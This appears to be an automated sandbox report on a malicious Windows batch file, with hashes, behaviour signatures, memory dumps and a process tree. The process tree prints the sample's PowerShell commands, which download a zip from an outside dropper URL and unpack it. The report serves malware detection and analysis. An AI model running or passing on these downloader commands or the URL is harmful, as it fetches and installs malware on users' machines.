1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1564s
max time network
1574s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (12).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1340	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1340	powershell.exe
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 1340	2464	cmd.exe	29
PID 2464 wrote to memory of 1340	2464	cmd.exe	29
PID 2464 wrote to memory of 1340	2464	cmd.exe	29
PID 2464 wrote to memory of 2752	2464	cmd.exe	30
PID 2464 wrote to memory of 2752	2464	cmd.exe	30
PID 2464 wrote to memory of 2752	2464	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fd263c8305e52daa20f87b0936af2bf0

SHA1
b436507073d52970a13c16c418578e6a2b746d87

SHA256
d98bc00cf2e88a8d457ba4afabc5ffeadac57d7f2e5f345d5e105f91049f64c2

SHA512
e8640333e89fef12d503e80faefce906c73e7139f3bc1a8ae938b22ce8392cba8c190a60ad61a9a4faa98eeaa0768f638e72cbf2d2a57e15c9a3f49abad963e6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WKG7ZZSG98VGLCACG6KM.temp

Filesize
7KB

MD5
fd263c8305e52daa20f87b0936af2bf0

SHA1
b436507073d52970a13c16c418578e6a2b746d87

SHA256
d98bc00cf2e88a8d457ba4afabc5ffeadac57d7f2e5f345d5e105f91049f64c2

SHA512
e8640333e89fef12d503e80faefce906c73e7139f3bc1a8ae938b22ce8392cba8c190a60ad61a9a4faa98eeaa0768f638e72cbf2d2a57e15c9a3f49abad963e6

Download Submit
memory/1340-14-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/1340-5-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1340-9-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/1340-8-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/1340-10-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/1340-11-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/1340-12-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/1340-13-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/1340-4-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/1340-16-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/1340-6-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/1340-7-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-23-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-22-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/2752-25-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2752-26-0x0000000002270000-0x0000000002278000-memory.dmp

Filesize
32KB

Download
memory/2752-27-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2752-24-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2752-28-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-29-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2752-30-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download